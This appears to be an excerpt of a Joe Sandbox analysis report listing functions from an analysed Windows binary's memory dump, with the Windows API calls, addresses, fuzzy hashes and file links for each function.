Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: a9390e74661093189f8f8a7f982c9f3dfb0b50399198e9c93290c0295b2caf93
Instruction ID: 3cf388f1bb1afe3900442723c5e05156cec70654024026ecfae3a415a2d8abb9
Opcode Fuzzy Hash: a9390e74661093189f8f8a7f982c9f3dfb0b50399198e9c93290c0295b2caf93
Instruction Fuzzy Hash: 8131E071900219EFDB20CF68D94CA9E7BB6EB04325F14421AF964E72C0C7B49911EB90

Function 00FDB6AF Relevance: 7.6, APIs: 5, Instructions: 88windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00FDB6C7
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00FDB6E4
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00FDB71C
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 00FDB742
_wcsstr.LIBCMT ref: 00FDB74C

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
String ID:
API String ID: 3902887630-0
Opcode ID: 2367231f9bc67cf8dfd7a14272861273b7a9c35a5d0407073c73485607937f82
Instruction ID: ea435ace71b1954b68250234d1abfd63e151849d68766ff187da7d6d7d48ecb6
Opcode Fuzzy Hash: 2367231f9bc67cf8dfd7a14272861273b7a9c35a5d0407073c73485607937f82
Instruction Fuzzy Hash: 7F210772604204FBEB255F399C49E7B7B99DF8A760F05406AFC05CA291EF65CC41B360

Function 0100B405 Relevance: 7.6, APIs: 5, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 00F82612: GetWindowLongW.USER32(?,000000EB), ref: 00F82623

GetWindowLongW.USER32(?,000000F0), ref: 0100B44C
SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 0100B471
SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 0100B489
GetSystemMetrics.USER32(00000004), ref: 0100B4B2
SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,00FF1184,00000000), ref: 0100B4D0

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Window$Long$MetricsSystem
String ID:
API String ID: 2294984445-0
Opcode ID: 8eb7114ea0cbdfe4c70a9b0faf6269cfb2fe4b3915a4bc5a9534720075a94ec6
Instruction ID: 4e34e8d8dc8dc22d66dbf6a90b448405e70ce44c0436d0cd7c750c5673d21af2
Opcode Fuzzy Hash: 8eb7114ea0cbdfe4c70a9b0faf6269cfb2fe4b3915a4bc5a9534720075a94ec6
Instruction Fuzzy Hash: F421B575510216AFEB629F38CC44B6A3BA4FB05721F124768FEA6D31D0EB319A11DB80

Function 00FD97E9 Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00FD9802

Part of subcall function 00F87D2C: _memmove.LIBCMT ref: 00F87D66

SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00FD9834
__itow.LIBCMT ref: 00FD984C
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00FD9874
__itow.LIBCMT ref: 00FD9885

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: MessageSend$__itow$_memmove
String ID:
API String ID: 2983881199-0
Opcode ID: 9f3757d1fb23f2384a0d2d5064dc7291624356d791105970e91d77974e7f4d9d
Instruction ID: 2c5c3b4dddae3a7fa8acc7b0550def7438d3bcea91dd5a6589688bf417549ce3
Opcode Fuzzy Hash: 9f3757d1fb23f2384a0d2d5064dc7291624356d791105970e91d77974e7f4d9d
Instruction Fuzzy Hash: 85210D31B04304ABDB20ABB18C86EEE7BA9EF4AB24F480025FD05DB341D6B4DD41B791

Function 00F812F3 Relevance: 7.6, APIs: 5, Instructions: 67COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00F8134D
SelectObject.GDI32(?,00000000), ref: 00F8135C
BeginPath.GDI32(?), ref: 00F81373
SelectObject.GDI32(?,00000000), ref: 00F8139C

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: b75a42cc6725ef722e130f2543272468d6204e0462beaee2437ed6e2c4028110
Instruction ID: d5480f0fb0f6479a5488573777df815a5d28dbde3a41879dbc7680c4c62c8906
Opcode Fuzzy Hash: b75a42cc6725ef722e130f2543272468d6204e0462beaee2437ed6e2c4028110
Instruction Fuzzy Hash: 372162F5C00309DFEB319F25D9447A97BB8FB11322F244319F49496194E77B9892EB90

Function 00FDC161 Relevance: 7.6, APIs: 5, Instructions: 61COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 00FDC176
_memcmp.LIBCMT ref: 00FDC194
_memcmp.LIBCMT ref: 00FDC1A7
_memcmp.LIBCMT ref: 00FDC1BF
_memcmp.LIBCMT ref: 00FDC1D7

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 4f4eb7fb5de6a2567564381782b3479ad57023b22cbde1b4b8f78c855bf0f2dd
Instruction ID: 0ef826ffbe9358f1f66ca12e2e7de83ca5ac71607e16cea4e23ee55eb20ceb50
Opcode Fuzzy Hash: 4f4eb7fb5de6a2567564381782b3479ad57023b22cbde1b4b8f78c855bf0f2dd
Instruction Fuzzy Hash: E001DDB2A0422B7BD204A6215C42FAB735DAF123A4F584116FD04D7343E765DE11E3E0

Function 00FE4D35 Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00FE4D5C
__beginthreadex.LIBCMT ref: 00FE4D7A
MessageBoxW.USER32(?,?,?,?), ref: 00FE4D8F
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00FE4DA5
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00FE4DAC

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
String ID:
API String ID: 3824534824-0
Opcode ID: 2c7f18f0daeecfccb331ff6c4f4de93c28ad8af26af301bfaf98cee32971636a
Instruction ID: 66874e34dd4c73cf522e7563d7cedff554d99b731a9f198294040314dc8623c4
Opcode Fuzzy Hash: 2c7f18f0daeecfccb331ff6c4f4de93c28ad8af26af301bfaf98cee32971636a
Instruction Fuzzy Hash: D31144B6904648BBCB318FA89D48ADA7FACEB4A320F144259F954D3240D67A9C0097A1

Function 00FD874A Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON

Download Yara Rule

APIs

GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00FD8766
GetLastError.KERNEL32(?,00FD822A,?,?,?), ref: 00FD8770
GetProcessHeap.KERNEL32(00000008,?,?,00FD822A,?,?,?), ref: 00FD877F
HeapAlloc.KERNEL32(00000000,?,00FD822A,?,?,?), ref: 00FD8786
GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00FD879D

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: HeapObjectSecurityUser$AllocErrorLastProcess
String ID:
API String ID: 842720411-0
Opcode ID: 6394a46cd6066510711e72b31c62c52e16e3c82de80d4b703daea778ad8c4d81
Instruction ID: 6e7541f6e628c48db2f4820ea96a9914d22a11374d5c4fd6809278aefac2a918
Opcode Fuzzy Hash: 6394a46cd6066510711e72b31c62c52e16e3c82de80d4b703daea778ad8c4d81
Instruction Fuzzy Hash: D0016271A00205BFDB315FB5DC48D677B6DFF8A3A5B200429F849C2250DB329C01EB60

Function 00FE54E6 Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00FE5502
QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00FE5510
Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00FE5518
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00FE5522
Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00FE555E

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: PerformanceQuery$CounterSleep$Frequency
String ID:
API String ID: 2833360925-0
Opcode ID: dfc117bbeba44b80496336abc1f71a2bb69f198f9339f8cdcfb3214a39806057
Instruction ID: cc08a61427a3dbac9a0b9864d311abe3b64d6ee95dca7bae1cebde4d17783ffa
Opcode Fuzzy Hash: dfc117bbeba44b80496336abc1f71a2bb69f198f9339f8cdcfb3214a39806057
Instruction Fuzzy Hash: 78016136D04A19DBCF20EFE5E8486EDBB79FB09B19F440056E841F2144DB355550E7A1

Function 00FD7652 Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON

Download Yara Rule

APIs

CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00FD758C,80070057,?,?,?,00FD799D), ref: 00FD766F
ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00FD758C,80070057,?,?), ref: 00FD768A
lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00FD758C,80070057,?,?), ref: 00FD7698
CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00FD758C,80070057,?), ref: 00FD76A8
CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00FD758C,80070057,?,?), ref: 00FD76B4

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: From$Prog$FreeStringTasklstrcmpi
String ID:
API String ID: 3897988419-0
Opcode ID: c30238d050091024e5ab900b8c361f9950a23f23ec05146eccc2c6ed47e202ac
Instruction ID: 9caf116822758b5f5228b3ce9411e8fdf0cad722a0ec9260dbfe7b9512619df9
Opcode Fuzzy Hash: c30238d050091024e5ab900b8c361f9950a23f23ec05146eccc2c6ed47e202ac
Instruction Fuzzy Hash: B901B172600715ABDB21AF18DC04BAA7BAEEB44761F18001AFD04D6205F736DE00ABA0

Function 00FD85F1 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00FD8608
GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00FD8612
GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00FD8621
HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00FD8628
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00FD863E

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: 3dbbfbc3dbb43d16f0362b013a828170782e42a87750978d84b7a430a00bb5ef
Instruction ID: a9db39a1f797d3c12e537298bf70f08798efd2ef8f54990fcef1be062df4baa3
Opcode Fuzzy Hash: 3dbbfbc3dbb43d16f0362b013a828170782e42a87750978d84b7a430a00bb5ef
Instruction Fuzzy Hash: DEF04431205305AFD7315FA9DC89E6B3BADEF4A7A4F044416F545C7240CB65DC41EB60

Function 00FD8652 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00FD8669
GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00FD8673
GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00FD8682
HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00FD8689
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00FD869F

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: HeapInformationToken$AllocErrorLastProcess
String ID:
API String ID: 44706859-0
Opcode ID: f05af9ff87271f13b1bdf89589c075423c6d09ec546c9d7f01ba6e697ec032e3
Instruction ID: bb584deb9c2315bc7b888afba1eac7a27c3788d28b3cf249b2debc4fe54ea2a3
Opcode Fuzzy Hash: f05af9ff87271f13b1bdf89589c075423c6d09ec546c9d7f01ba6e697ec032e3
Instruction Fuzzy Hash: 84F04471200305BFD7325F65DC88E673BADEF497A4F140016F545C7240CA65DD41EB60

Function 00FDC6A6 Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003E9), ref: 00FDC6BA
GetWindowTextW.USER32(00000000,?,00000100), ref: 00FDC6D1
MessageBeep.USER32(00000000), ref: 00FDC6E9
KillTimer.USER32(?,0000040A), ref: 00FDC705
EndDialog.USER32(?,00000001), ref: 00FDC71F

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: BeepDialogItemKillMessageTextTimerWindow
String ID:
API String ID: 3741023627-0
Opcode ID: 265a7514dab0a31cac5bd5facf113c1ede32236fa8a179f20d57414f264f2657
Instruction ID: 59449d79d83db8689acc95ffb74e9eabc472f4f4b0ba562eda829d4a89f4b1e4
Opcode Fuzzy Hash: 265a7514dab0a31cac5bd5facf113c1ede32236fa8a179f20d57414f264f2657
Instruction Fuzzy Hash: 1D01A23040030AABEB326B20DC4EF9677B9FF04705F08065AF586A11D0DBE5A954EF80

Function 00F813B0 Relevance: 7.5, APIs: 5, Instructions: 29COMMON

Download Yara Rule

APIs

EndPath.GDI32(?), ref: 00F813BF
StrokeAndFillPath.GDI32(?,?,00FBBAD8,00000000,?), ref: 00F813DB
SelectObject.GDI32(?,00000000), ref: 00F813EE
DeleteObject.GDI32 ref: 00F81401
StrokePath.GDI32(?), ref: 00F8141C

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: Path$ObjectStroke$DeleteFillSelect
String ID:
API String ID: 2625713937-0
Opcode ID: 378874a3e72bf999f1ec5d39de9d8390acb326f220c11b12eae773419e2329c8
Instruction ID: a2d6fb273c3265d5f9d7e150a84ab2e2e06c3fffd68a3a4635a04da644e290e0
Opcode Fuzzy Hash: 378874a3e72bf999f1ec5d39de9d8390acb326f220c11b12eae773419e2329c8
Instruction Fuzzy Hash: DAF0CDF40043099BEB329F56E94C7943BA8B702326F14C318F4A9454E8D73B4596EF50

Function 00FEC602 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00FEC69D
CoCreateInstance.OLE32(01012D6C,00000000,00000001,01012BDC,?), ref: 00FEC6B5

Part of subcall function 00F87F41: _memmove.LIBCMT ref: 00F87F82

CoUninitialize.OLE32 ref: 00FEC922

Strings

.lnk, xrefs: 00FEC631, 00FEC659, 00FEC663

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: d8febb50b732448c9eca1f6f118777bc9086149d19136602dd940bc0d6e8e8a4
Instruction ID: 99fde1238aeca51bc4663c5d06921d565b61e248d1628e25d6d4078496ce6747
Opcode Fuzzy Hash: d8febb50b732448c9eca1f6f118777bc9086149d19136602dd940bc0d6e8e8a4
Instruction Fuzzy Hash: AAA11871108205AFD304FF64CC81EABB7E8EF84704F14491DF1969B192EBB5EA49DB92

Function 00F92E5B Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON

Download Yara Rule

APIs

Part of subcall function 00FA0FF6: std::exception::exception.LIBCMT ref: 00FA102C
Part of subcall function 00FA0FF6: __CxxThrowException@8.LIBCMT ref: 00FA1041

Part of subcall function 00F87F41: _memmove.LIBCMT ref: 00F87F82

Part of subcall function 00F87BB1: _memmove.LIBCMT ref: 00F87C0B

__swprintf.LIBCMT ref: 00F9302D

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 00F92EC6

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 03c31b0acffa6c49de78829a031136d594d1e5b91ca4f755a84e058121f5198d
Instruction ID: 8a5638b32bc4859c7f01ce778929dde7bfdaf1fc61b7353b741ed7993144550e
Opcode Fuzzy Hash: 03c31b0acffa6c49de78829a031136d594d1e5b91ca4f755a84e058121f5198d
Instruction Fuzzy Hash: 23918B715083019FDB18FF24DD86DAEB7A4EF85750F00491DF4829B2A1EB28EE44EB52

Function 00FEBBA6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 261comCOMMON

Download Yara Rule

APIs

Part of subcall function 00F848AE: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00F848A1,?,?,00F837C0,?), ref: 00F848CE

CoInitialize.OLE32(00000000), ref: 00FEBC26
CoCreateInstance.OLE32(01012D6C,00000000,00000001,01012BDC,?), ref: 00FEBC3F
CoUninitialize.OLE32 ref: 00FEBC5C

Part of subcall function 00F89997: __itow.LIBCMT ref: 00F899C2
Part of subcall function 00F89997: __swprintf.LIBCMT ref: 00F89A0C

Strings

.lnk, xrefs: 00FEBC08, 00FEBC16

Memory Dump Source

Source File: 00000000.00000002.2036462891.0000000000F81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F80000, based on PE: true

Associated: 00000000.00000002.2036449101.0000000000F80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.000000000100F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036509076.0000000001035000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036548517.000000000103F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036562580.0000000001048000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f80000_W2k2NLSvja.jbxd

Similarity

API ID: CreateFullInitializeInstanceNamePathUninitialize__itow__swprintf
String ID: .lnk
API String ID: 2126378814-24824748
Opcode ID: f655593abfadbffce2317cde34ee5a72f6bf16dd8e74760850a1ecb1f8735c3e
Instruction ID: 4da29c7a50aedfb8a3f38efb40d66e8782f4e6c4c6fe51613b04c4fac1aa3e90
